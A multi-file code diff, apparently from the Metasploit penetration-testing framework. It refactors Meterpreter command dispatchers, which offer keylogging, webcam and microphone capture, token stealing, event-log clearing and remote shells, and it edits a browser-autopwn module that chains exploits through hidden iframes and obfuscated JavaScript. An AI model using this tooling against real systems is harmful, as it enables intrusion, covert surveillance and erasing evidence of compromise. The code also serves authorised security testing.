'SaveToDisk' => opts['LoadFromDisk']))
|
||||
client.add_extension(mod)
|
||||
end
|
||||
'SaveToDisk' => opts['LoadFromDisk'])
|
||||
client.add_extension(mod, commands)
|
||||
|
||||
return true
|
||||
end
|
||||
|
|
|
@ -22,7 +22,7 @@ class Sniffer < Extension
|
|||
|
||||
client.register_extension_aliases(
|
||||
[
|
||||
{
|
||||
{
|
||||
'name' => 'sniffer',
|
||||
'ext' => self
|
||||
},
|
||||
|
@ -42,19 +42,19 @@ class Sniffer < Extension
|
|||
ikeys = %W{idx name description type mtu wireless usable dhcp}
|
||||
ikeys.each_index { |i| iface[ikeys[i]] = vals[i] }
|
||||
ifaces << iface
|
||||
}
|
||||
}
|
||||
return ifaces
|
||||
end
|
||||
|
||||
|
||||
# Start a packet capture on an opened interface
|
||||
def capture_start(intf,maxp=200000,filter="")
|
||||
request = Packet.create_request('sniffer_capture_start')
|
||||
request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
|
||||
request.add_tlv(TLV_TYPE_SNIFFER_PACKET_COUNT, maxp.to_i)
|
||||
request.add_tlv(TLV_TYPE_SNIFFER_ADDITIONAL_FILTER, filter) if filter.length > 0
|
||||
response = client.send_request(request)
|
||||
response = client.send_request(request)
|
||||
end
|
||||
|
||||
|
||||
# Stop an active packet capture
|
||||
def capture_stop(intf)
|
||||
request = Packet.create_request('sniffer_capture_stop')
|
||||
|
@ -65,7 +65,7 @@ class Sniffer < Extension
|
|||
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
# Retrieve stats about a current capture
|
||||
def capture_stats(intf)
|
||||
request = Packet.create_request('sniffer_capture_stats')
|
||||
|
@ -87,7 +87,7 @@ class Sniffer < Extension
|
|||
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
# Buffer the current capture to a readable buffer
|
||||
def capture_dump(intf)
|
||||
request = Packet.create_request('sniffer_capture_dump')
|
||||
|
@ -96,21 +96,22 @@ class Sniffer < Extension
|
|||
{
|
||||
:packets => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET_COUNT),
|
||||
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
|
||||
:linktype => response.get_tlv_value(TLV_TYPE_SNIFFER_INTERFACE_ID),
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
# Retrieve the packet data for the specified capture
|
||||
def capture_dump_read(intf, len=16384)
|
||||
request = Packet.create_request('sniffer_capture_dump_read')
|
||||
request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
|
||||
request.add_tlv(TLV_TYPE_SNIFFER_BYTE_COUNT, len.to_i)
|
||||
request.add_tlv(TLV_TYPE_SNIFFER_BYTE_COUNT, len.to_i)
|
||||
response = client.send_request(request, 3600)
|
||||
{
|
||||
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
|
||||
:data => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET)
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end; end; end; end; end
|
||||
|
|
|
@ -212,12 +212,12 @@ class Process < Rex::Post::Process
|
|||
end
|
||||
|
||||
#
|
||||
# Returns an array of processes with hash objects that have
|
||||
# keys for 'pid', 'parentid', 'name', 'path', 'user' and 'arch'.
|
||||
# Returns a ProcessList of processes as Hash objects with keys for 'pid',
|
||||
# 'ppid', 'name', 'path', 'user', 'session' and 'arch'.
|
||||
#
|
||||
def Process.get_processes
|
||||
request = Packet.create_request('stdapi_sys_process_get_processes')
|
||||
processes = []
|
||||
processes = ProcessList.new
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
|
@ -236,7 +236,7 @@ class Process < Rex::Post::Process
|
|||
processes <<
|
||||
{
|
||||
'pid' => p.get_tlv_value(TLV_TYPE_PID),
|
||||
'parentid' => p.get_tlv_value(TLV_TYPE_PARENT_PID),
|
||||
'ppid' => p.get_tlv_value(TLV_TYPE_PARENT_PID),
|
||||
'name' => client.unicode_filter_encode( p.get_tlv_value(TLV_TYPE_PROCESS_NAME) ),
|
||||
'path' => client.unicode_filter_encode( p.get_tlv_value(TLV_TYPE_PROCESS_PATH) ),
|
||||
'session' => p.get_tlv_value(TLV_TYPE_PROCESS_SESSION),
|
||||
|
@ -366,5 +366,43 @@ protected
|
|||
|
||||
end
|
||||
|
||||
#
|
||||
# Simple wrapper class for storing processes
|
||||
#
|
||||
class ProcessList < Array
|
||||
|
||||
#
|
||||
# Create a Rex::Ui::Text::Table out of the processes stored in this list
|
||||
#
|
||||
# +opts+ is passed on to Rex::Ui::Text::Table.new, mostly unmolested
|
||||
#
|
||||
# Note that this output is affected by Rex::Post::Meterpreter::Client#unicode_filter_encode
|
||||
#
|
||||
def to_table(opts={})
|
||||
if empty?
|
||||
return Rex::Ui::Text::Table.new(opts)
|
||||
end
|
||||
|
||||
cols = [ "PID", "PPID", "Name", "Arch", "Session", "User", "Path" ]
|
||||
# Arch and Session are specific to native Windows, PHP and Java can't do
|
||||
# ppid. Cut columns from the list if they aren't there. It is conceivable
|
||||
# that processes might have different columns, but for now assume that the
|
||||
# first one is representative.
|
||||
cols.delete_if { |c| !( first.has_key?(c.downcase) ) or first[c.downcase].nil? }
|
||||
|
||||
opts = {
|
||||
"Header" => "Process List",
|
||||
"Columns" => cols
|
||||
}.merge(opts)
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(opts)
|
||||
each { |process|
|
||||
tbl << cols.map {|c| process[c.downcase] }.compact
|
||||
}
|
||||
|
||||
tbl
|
||||
end
|
||||
end
|
||||
|
||||
end; end; end; end; end; end
|
||||
|
||||
|
|
|
@ -43,11 +43,9 @@ class Console::CommandDispatcher::Core
|
|||
"close" => "Closes a channel",
|
||||
"channel" => "Displays information about active channels",
|
||||
"exit" => "Terminate the meterpreter session",
|
||||
"detach" => "Detach the meterpreter session (for http/https)",
|
||||
"help" => "Help menu",
|
||||
"interact" => "Interacts with a channel",
|
||||
"irb" => "Drop into irb scripting mode",
|
||||
"migrate" => "Migrate the server to another process",
|
||||
"use" => "Deprecated alias for 'load'",
|
||||
"load" => "Load one or more meterpreter extensions",
|
||||
"quit" => "Terminate the meterpreter session",
|
||||
|
@ -61,6 +59,14 @@ class Console::CommandDispatcher::Core
|
|||
"enable_unicode_encoding" => "Enables encoding of unicode strings",
|
||||
"disable_unicode_encoding" => "Disables encoding of unicode strings"
|
||||
}
|
||||
|
||||
if client.passive_service
|
||||
c["detach"] = "Detach the meterpreter session (for http/https)"
|
||||
end
|
||||
if client.commands.include? "core_migrate"
|
||||
c["migrate"] = "Migrate the server to another process"
|
||||
end
|
||||
|
||||
if (msf_loaded?)
|
||||
c["info"] = "Displays information about a Post module"
|
||||
end
|
||||
|
|
|
@ -132,7 +132,7 @@ class Console::CommandDispatcher::Sniffer
|
|||
bytes_all = res[:bytes] || 0
|
||||
bytes_got = 0
|
||||
bytes_pct = 0
|
||||
|
||||
linktype = res[:linktype]
|
||||
while (bytes_all > 0)
|
||||
res = client.sniffer.capture_dump_read(intf,1024*512)
|
||||
|
||||
|
@ -156,7 +156,7 @@ class Console::CommandDispatcher::Sniffer
|
|||
fd = ::File.new(path_cap, 'ab+')
|
||||
else
|
||||
fd = ::File.new(path_cap, 'wb+')
|
||||
fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN'))
|
||||
fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, linktype].pack('NnnNNNN'))
|
||||
end
|
||||
|
||||
pkts = {}
|
||||
|
|
|
@ -34,24 +34,56 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
{
|
||||
all = {
|
||||
"cat" => "Read the contents of a file to the screen",
|
||||
"cd" => "Change directory",
|
||||
"del" => "Delete the specified file",
|
||||
"download" => "Download a file or directory",
|
||||
"edit" => "Edit a file",
|
||||
"getlwd" => "Print local working directory",
|
||||
"getwd" => "Print working directory",
|
||||
"lcd" => "Change local working directory",
|
||||
"lpwd" => "Print local working directory",
|
||||
"ls" => "List files",
|
||||
"mkdir" => "Make directory",
|
||||
"pwd" => "Print working directory",
|
||||
"rmdir" => "Remove directory",
|
||||
"upload" => "Upload a file or directory",
|
||||
"lcd" => "Change local working directory",
|
||||
"getlwd" => "Print local working directory",
|
||||
"lpwd" => "Print local working directory",
|
||||
"rm" => "Delete the specified file",
|
||||
"del" => "Delete the specified file",
|
||||
"search" => "Search for files"
|
||||
"rmdir" => "Remove directory",
|
||||
"search" => "Search for files",
|
||||
"upload" => "Upload a file or directory",
|
||||
}
|
||||
|
||||
reqs = {
|
||||
"cat" => [ ],
|
||||
"cd" => [ "stdapi_fs_chdir" ],
|
||||
"del" => [ "stdapi_fs_rm" ],
|
||||
"download" => [ ],
|
||||
"edit" => [ ],
|
||||
"getlwd" => [ ],
|
||||
"getwd" => [ "stdapi_fs_getwd" ],
|
||||
"lcd" => [ ],
|
||||
"lpwd" => [ ],
|
||||
"ls" => [ "stdapi_fs_stat", "stdapi_fs_ls" ],
|
||||
"mkdir" => [ "stdapi_fs_mkdir" ],
|
||||
"pwd" => [ "stdapi_fs_getwd" ],
|
||||
"rmdir" => [ "stdapi_fs_delete_dir" ],
|
||||
"rm" => [ "stdapi_fs_rm" ],
|
||||
"search" => [ "stdapi_fs_search" ],
|
||||
"upload" => [ ],
|
||||
}
|
||||
|
||||
all.delete_if do |cmd, desc|
|
||||
del = false
|
||||
reqs[cmd].each do |req|
|
||||
next if client.commands.include? req
|
||||
del = true
|
||||
break
|
||||
end
|
||||
|
||||
del
|
||||
end
|
||||
|
||||
all
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -65,18 +97,18 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
# Search for files.
|
||||
#
|
||||
def cmd_search( *args )
|
||||
|
||||
|
||||
root = nil
|
||||
glob = nil
|
||||
recurse = true
|
||||
|
||||
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help Banner." ],
|
||||
"-d" => [ true, "The directory/drive to begin searching from. Leave empty to search all drives. (Default: #{root})" ],
|
||||
"-f" => [ true, "The file pattern glob to search for. (e.g. *secret*.doc?)" ],
|
||||
"-r" => [ true, "Recursivly search sub directories. (Default: #{recurse})" ]
|
||||
)
|
||||
|
||||
|
||||
opts.parse(args) { | opt, idx, val |
|
||||
case opt
|
||||
when "-h"
|
||||
|
@ -92,14 +124,14 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
recurse = false if( val =~ /^(f|n|0)/i )
|
||||
end
|
||||
}
|
||||
|
||||
|
||||
if( not glob )
|
||||
print_error( "You must specify a valid file glob to search for, e.g. >search -f *.doc" )
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
files = client.fs.file.search( root, glob, recurse )
|
||||
|
||||
|
||||
if( not files.empty? )
|
||||
print_line( "Found #{files.length} result#{ files.length > 1 ? 's' : '' }..." )
|
||||
files.each do | file |
|
||||
|
@ -112,9 +144,9 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
else
|
||||
print_line( "No files matching your search were found." )
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Reads the contents of a file and prints them to the screen.
|
||||
#
|
||||
|
@ -169,7 +201,7 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
|
||||
return true
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Delete the specified file.
|
||||
#
|
||||
|
@ -183,7 +215,7 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
|
||||
return true
|
||||
end
|
||||
|
||||
|
||||
alias :cmd_del :cmd_rm
|
||||
|
||||
def cmd_download_help
|
||||
|
@ -192,7 +224,7 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
print_line "Downloads remote files and directories to the local machine."
|
||||
print_line @@download_opts.usage
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Downloads a file or directory from the remote machine to the local
|
||||
# machine.
|
||||
|
@ -250,7 +282,7 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
}
|
||||
end
|
||||
}
|
||||
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
|
@ -454,7 +486,7 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
}
|
||||
end
|
||||
}
|
||||
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
|
|
|
@ -54,12 +54,39 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
{
|
||||
all = {
|
||||
"ipconfig" => "Display interfaces",
|
||||
"ifconfig" => "Display interfaces",
|
||||
"route" => "View and modify the routing table",
|
||||
"portfwd" => "Forward a local port to a remote service",
|
||||
}
|
||||
reqs = {
|
||||
"ipconfig" => [ "stdapi_net_config_get_interfaces" ],
|
||||
"ifconfig" => [ "stdapi_net_config_get_interfaces" ],
|
||||
"route" => [
|
||||
# Also uses these, but we don't want to be unable to list them
|
||||
# just because we can't alter them.
|
||||
#"stdapi_net_config_add_route",
|
||||
#"stdapi_net_config_remove_route",
|
||||
"stdapi_net_config_get_routes"
|
||||
],
|
||||
# Only creates tcp channels, which is something whose availability
|
||||
# we can't check directly at the moment.
|
||||
"portfwd" => [ ],
|
||||
}
|
||||
|
||||
all.delete_if do |cmd, desc|
|
||||
del = false
|
||||
reqs[cmd].each do |req|
|
||||
next if client.commands.include? req
|
||||
del = true
|
||||
break
|
||||
end
|
||||
|
||||
del
|
||||
end
|
||||
|
||||
all
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -48,23 +48,67 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
{
|
||||
"clearev" => "Clear the event log",
|
||||
"execute" => "Execute a command",
|
||||
"getpid" => "Get the current process identifier",
|
||||
"getuid" => "Get the user that the server is running as",
|
||||
"getprivs" => "Attempt to enable all privileges available to the current process",
|
||||
"kill" => "Terminate a process",
|
||||
"ps" => "List running processes",
|
||||
"reboot" => "Reboots the remote computer",
|
||||
"reg" => "Modify and interact with the remote registry",
|
||||
"rev2self" => "Calls RevertToSelf() on the remote machine",
|
||||
"sysinfo" => "Gets information about the remote system, such as OS",
|
||||
"shell" => "Drop into a system command shell",
|
||||
"shutdown" => "Shuts down the remote computer",
|
||||
"steal_token" => "Attempts to steal an impersonation token from the target process",
|
||||
all = {
|
||||
"clearev" => "Clear the event log",
|
||||
"drop_token" => "Relinquishes any active impersonation token.",
|
||||
"execute" => "Execute a command",
|
||||
"getpid" => "Get the current process identifier",
|
||||
"getprivs" => "Attempt to enable all privileges available to the current process",
|
||||
"getuid" => "Get the user that the server is running as",
|
||||
"kill" => "Terminate a process",
|
||||
"ps" => "List running processes",
|
||||
"reboot" => "Reboots the remote computer",
|
||||
"reg" => "Modify and interact with the remote registry",
|
||||
"rev2self" => "Calls RevertToSelf() on the remote machine",
|
||||
"shell" => "Drop into a system command shell",
|
||||
"shutdown" => "Shuts down the remote computer",
|
||||
"steal_token" => "Attempts to steal an impersonation token from the target process",
|
||||
"sysinfo" => "Gets information about the remote system, such as OS",
|
||||
}
|
||||
reqs = {
|
||||
"clearev" => [ "stdapi_sys_eventlog_open", "stdapi_sys_eventlog_clear" ],
|
||||
"drop_token" => [ "stdapi_sys_config_drop_token" ],
|
||||
"execute" => [ "stdapi_sys_process_execute" ],
|
||||
"getpid" => [ "stdapi_sys_process_getpid" ],
|
||||
"getprivs" => [ "stdapi_sys_config_getprivs" ],
|
||||
"getuid" => [ "stdapi_sys_config_getuid" ],
|
||||
"kill" => [ "stdapi_sys_process_kill" ],
|
||||
"ps" => [ "stdapi_sys_process_get_processes" ],
|
||||
"reboot" => [ "stdapi_sys_power_exitwindows" ],
|
||||
"reg" => [
|
||||
"stdapi_registry_load_key",
|
||||
"stdapi_registry_unload_key",
|
||||
"stdapi_registry_open_key",
|
||||
"stdapi_registry_open_remote_key",
|
||||
"stdapi_registry_create_key",
|
||||
"stdapi_registry_delete_key",
|
||||
"stdapi_registry_close_key",
|
||||
"stdapi_registry_enum_key",
|
||||
"stdapi_registry_set_value",
|
||||
"stdapi_registry_query_value",
|
||||
"stdapi_registry_delete_value",
|
||||
"stdapi_registry_query_class",
|
||||
"stdapi_registry_enum_value",
|
||||
],
|
||||
"rev2self" => [ "stdapi_sys_config_rev2self" ],
|
||||
"shell" => [ "stdapi_sys_process_execute" ],
|
||||
"shutdown" => [ "stdapi_sys_power_exitwindows" ],
|
||||
"steal_token" => [ "stdapi_sys_config_steal_token" ],
|
||||
"sysinfo" => [ "stdapi_sys_config_sysinfo" ],
|
||||
}
|
||||
|
||||
all.delete_if do |cmd, desc|
|
||||
del = false
|
||||
reqs[cmd].each do |req|
|
||||
next if client.commands.include? req
|
||||
del = true
|
||||
break
|
||||
end
|
||||
|
||||
del
|
||||
end
|
||||
|
||||
all
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -229,38 +273,13 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
#
|
||||
def cmd_ps(*args)
|
||||
processes = client.sys.process.get_processes
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Process list",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"PID",
|
||||
"Name",
|
||||
"Arch",
|
||||
"Session",
|
||||
"User",
|
||||
"Path"
|
||||
])
|
||||
|
||||
processes.each { |ent|
|
||||
|
||||
session = ent['session'] == 0xFFFFFFFF ? '' : ent['session'].to_s
|
||||
arch = ent['arch']
|
||||
|
||||
# for display and consistency with payload naming we switch the internal 'x86_64' value to display 'x64'
|
||||
if( arch == ARCH_X86_64 )
|
||||
arch = "x64"
|
||||
end
|
||||
|
||||
tbl << [ ent['pid'].to_s, ent['name'], arch, session, ent['user'], ent['path'] ]
|
||||
}
|
||||
|
||||
if (processes.length == 0)
|
||||
print_line("No running processes were found.")
|
||||
else
|
||||
print("\n" + tbl.to_s + "\n")
|
||||
print_line
|
||||
print_line(processes.to_table("Indent" => 1).to_s)
|
||||
print_line
|
||||
end
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
|
|
|
@ -20,20 +20,50 @@ class Console::CommandDispatcher::Stdapi::Ui
|
|||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
{
|
||||
"idletime" => "Returns the number of seconds the remote user has been idle",
|
||||
"uictl" => "Control some of the user interface components",
|
||||
all = {
|
||||
"enumdesktops" => "List all accessible desktops and window stations",
|
||||
"getdesktop" => "Get the current meterpreter desktop",
|
||||
"setdesktop" => "Change the meterpreters current desktop",
|
||||
"idletime" => "Returns the number of seconds the remote user has been idle",
|
||||
"keyscan_dump" => "Dump the keystroke buffer",
|
||||
"keyscan_start" => "Start capturing keystrokes",
|
||||
"keyscan_stop" => "Stop capturing keystrokes",
|
||||
"keyscan_dump" => "Dump the keystroke buffer",
|
||||
"screenshot" => "Grab a screenshot of the interactive desktop",
|
||||
"setdesktop" => "Change the meterpreters current desktop",
|
||||
"uictl" => "Control some of the user interface components",
|
||||
|
||||
# not working yet
|
||||
# "unlockdesktop" => "Unlock or lock the workstation (must be inside winlogon.exe)",
|
||||
}
|
||||
|
||||
reqs = {
|
||||
"enumdesktops" => [ "stdapi_ui_desktop_enum" ],
|
||||
"getdesktop" => [ "stdapi_ui_desktop_get" ],
|
||||
"idletime" => [ "stdapi_ui_get_idle_time" ],
|
||||
"keyscan_dump" => [ "stdapi_ui_get_keys" ],
|
||||
"keyscan_start" => [ "stdapi_ui_start_keyscan" ],
|
||||
"keyscan_stop" => [ "stdapi_ui_stop_keyscan" ],
|
||||
"screenshot" => [ "stdapi_ui_desktop_screenshot" ],
|
||||
"setdesktop" => [ "stdapi_ui_desktop_set" ],
|
||||
"uictl" => [
|
||||
"stdapi_ui_enable_mouse",
|
||||
"stdapi_ui_disable_mouse",
|
||||
"stdapi_ui_enable_keyboard",
|
||||
"stdapi_ui_disable_keyboard",
|
||||
],
|
||||
}
|
||||
|
||||
all.delete_if do |cmd, desc|
|
||||
del = false
|
||||
reqs[cmd].each do |req|
|
||||
next if client.commands.include? req
|
||||
del = true
|
||||
break
|
||||
end
|
||||
|
||||
del
|
||||
end
|
||||
|
||||
all
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -20,11 +20,29 @@ class Console::CommandDispatcher::Stdapi::Webcam
|
|||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
{
|
||||
all = {
|
||||
"webcam_list" => "List webcams",
|
||||
"webcam_snap" => "Take a snapshot from the specified webcam",
|
||||
"record_mic" => "Record audio from the default microphone for X seconds"
|
||||
}
|
||||
reqs = {
|
||||
"webcam_list" => [ "webcam_list" ],
|
||||
"webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
|
||||
"record_mic" => [ "webcam_record_audio" ],
|
||||
}
|
||||
|
||||
all.delete_if do |cmd, desc|
|
||||
del = false
|
||||
reqs[cmd].each do |req|
|
||||
next if client.commands.include? req
|
||||
del = true
|
||||
break
|
||||
end
|
||||
|
||||
del
|
||||
end
|
||||
|
||||
all
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -239,6 +239,15 @@ module Text
|
|||
return buff
|
||||
end
|
||||
|
||||
def self.to_octal(str, prefix = "\\")
|
||||
octal = ""
|
||||
str.each_byte { |b|
|
||||
octal << "#{prefix}#{b.to_s 8}"
|
||||
}
|
||||
|
||||
return octal
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the hex version of the supplied string
|
||||
#
|
||||
|
|
|
@ -60,6 +60,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
],
|
||||
'PassiveActions' =>
|
||||
[ 'WebServer', 'DefangedDetection' ],
|
||||
'DefaultOptions' => {
|
||||
# We know that most of these exploits will crash the browser, so
|
||||
# set the default to run migrate right away if possible.
|
||||
"InitialAutoRunScript" => "migrate -f",
|
||||
},
|
||||
'DefaultAction' => 'WebServer'))
|
||||
|
||||
register_options([
|
||||
|
@ -69,9 +74,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
], self.class)
|
||||
|
||||
register_advanced_options([
|
||||
# We know that most of these exploits will crash the browser, so
|
||||
# set the default to run migrate right away if possible.
|
||||
OptString.new('InitialAutoRunScript', [false, "An initial script to run on session created (before AutoRunScript)", 'migrate -f']),
|
||||
OptString.new('AutoRunScript', [false, "A script to automatically on session creation.", '']),
|
||||
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
|
||||
OptString.new('MATCH', [false,
|
||||
|
@ -109,7 +111,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'The port to use for generic reverse-connect payloads', 6666
|
||||
]),
|
||||
OptString.new('PAYLOAD_GENERIC', [false,
|
||||
'The payload to use for generic reverse-connect payloads6',
|
||||
'The payload to use for generic reverse-connect payloads',
|
||||
'generic/shell_reverse_tcp'
|
||||
]),
|
||||
OptPort.new('LPORT_JAVA', [false,
|
||||
|
@ -703,14 +705,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
str = '';
|
||||
str += '<iframe src="' + myframe + '" style="visibility:hidden" height="0" width="0" border="0"></iframe>';
|
||||
document.body.innerHTML += (str);
|
||||
}
|
||||
window.next_exploit = function (exploit_idx) {
|
||||
};
|
||||
window.next_exploit = function(exploit_idx) {
|
||||
#{js_debug("'next_exploit(' + exploit_idx +')<br>'")}
|
||||
if (!global_exploit_list[exploit_idx]) {
|
||||
#{js_debug("'End<br>'")}
|
||||
return;
|
||||
}
|
||||
#{js_debug("'trying ' + global_exploit_list[exploit_idx].resource + '<br>'")}
|
||||
#{js_debug("'trying ' + global_exploit_list[exploit_idx].resource + ' of ' + global_exploit_list.length + '<br>'")}
|
||||
// Wrap all of the vuln tests in a try-catch block so a
|
||||
// single borked test doesn't prevent other exploits
|
||||
// from working.
|
||||
|
@ -739,7 +741,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
#{js_debug("'test threw an exception: ' + e.message + '<br />'")}
|
||||
window.next_exploit(exploit_idx+1);
|
||||
};
|
||||
}
|
||||
};
|
||||
ENDJS
|
||||
|
||||
sploits_for_this_client = []
|
||||
|
@ -828,7 +830,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
js << "window.next_exploit(0);\n"
|
||||
|
||||
js = ::Rex::Exploitation::JSObfu.new(js)
|
||||
js.obfuscate
|
||||
js.obfuscate unless datastore["DEBUG"]
|
||||
|
||||
response.body = "#{js}"
|
||||
|
||||
|
|
|
@ -13,6 +13,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
autopwn_info({ :javascript => false })
|
||||
|
||||
def initialize( info = {} )
|
||||
super( update_info( info,
|
||||
'Name' => 'Java Applet Rhino Script Engine Remote Code Execution',
|
||||
|
|
|
@ -224,21 +224,14 @@ class Metasploit3 < Msf::Post
|
|||
# and retry under certain conditions.
|
||||
#
|
||||
def exec(cmd)
|
||||
tries = 0
|
||||
begin
|
||||
out = cmd_exec(cmd).chomp
|
||||
rescue ::Timeout::Error => e
|
||||
tries += 1
|
||||
if tries < 3
|
||||
vprint_error("#{@peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
end
|
||||
vprint_error("#{@peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
rescue EOFError => e
|
||||
tries += 1
|
||||
if tries < 3
|
||||
vprint_error("#{@peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
end
|
||||
vprint_error("#{@peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
|
||||
require 'module_test'
|
||||
require 'test/lib/module_test'
|
||||
|
||||
#load 'test/lib/module_test.rb'
|
||||
#load 'lib/rex/text.rb'
|
||||
|
|
|
@ -3,8 +3,7 @@ require 'msf/core'
|
|||
require 'rex'
|
||||
|
||||
$:.push "test/lib" unless $:.include? "test/lib"
|
||||
#require 'module_test'
|
||||
load 'test/lib/module_test.rb'
|
||||
require 'module_test'
|
||||
|
||||
class Metasploit4 < Msf::Post
|
||||
|
||||
|
@ -38,6 +37,11 @@ class Metasploit4 < Msf::Post
|
|||
end
|
||||
|
||||
def test_net_config
|
||||
unless (session.commands.include? "stdapi_net_config_get_interfaces")
|
||||
vprint_status("This meterpreter does not implement get_interfaces, skipping tests")
|
||||
return
|
||||
end
|
||||
|
||||
vprint_status("Starting networking tests")
|
||||
|
||||
it "should return network interfaces" do
|
||||
|
@ -160,16 +164,19 @@ class Metasploit4 < Msf::Post
|
|||
vprint_status("uploading")
|
||||
session.fs.file.upload_file(remote, local)
|
||||
vprint_status("done")
|
||||
res &&= session.fs.dir.entries.include?(remote)
|
||||
res &&= session.fs.file.exists?(remote)
|
||||
vprint_status("remote file exists? #{res.inspect}")
|
||||
|
||||
if res
|
||||
session.fs.file.download(remote, remote)
|
||||
res &&= ::File.file? remote
|
||||
downloaded_contents = ::File.read(remote)
|
||||
fd = session.fs.file.new(remote, "rb")
|
||||
uploaded_contents = fd.read
|
||||
until (fd.eof?)
|
||||
uploaded_contents << fd.read
|
||||
end
|
||||
fd.close
|
||||
original_contents = ::File.read(local)
|
||||
res &&= !!(downloaded_contents == original_contents)
|
||||
::File.unlink remote
|
||||
|
||||
res &&= !!(uploaded_contents == original_contents)
|
||||
end
|
||||
|
||||
session.fs.file.rm(remote)
|
||||
|
@ -183,7 +190,7 @@ class Metasploit4 < Msf::Post
|
|||
vprint_status("uploading")
|
||||
session.fs.file.upload_file(remote, local)
|
||||
vprint_status("done")
|
||||
res &&= session.fs.dir.entries.include?(remote)
|
||||
res &&= session.fs.file.exists?(remote)
|
||||
vprint_status("remote file exists? #{res.inspect}")
|
||||
|
||||
if res
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
|
||||
require 'module_test'
|
||||
require 'test/lib/module_test'
|
||||
|
||||
#load 'test/lib/module_test.rb'
|
||||
#load 'lib/rex/text.rb'
|
||||
|
|
Loading…
Reference in New Issue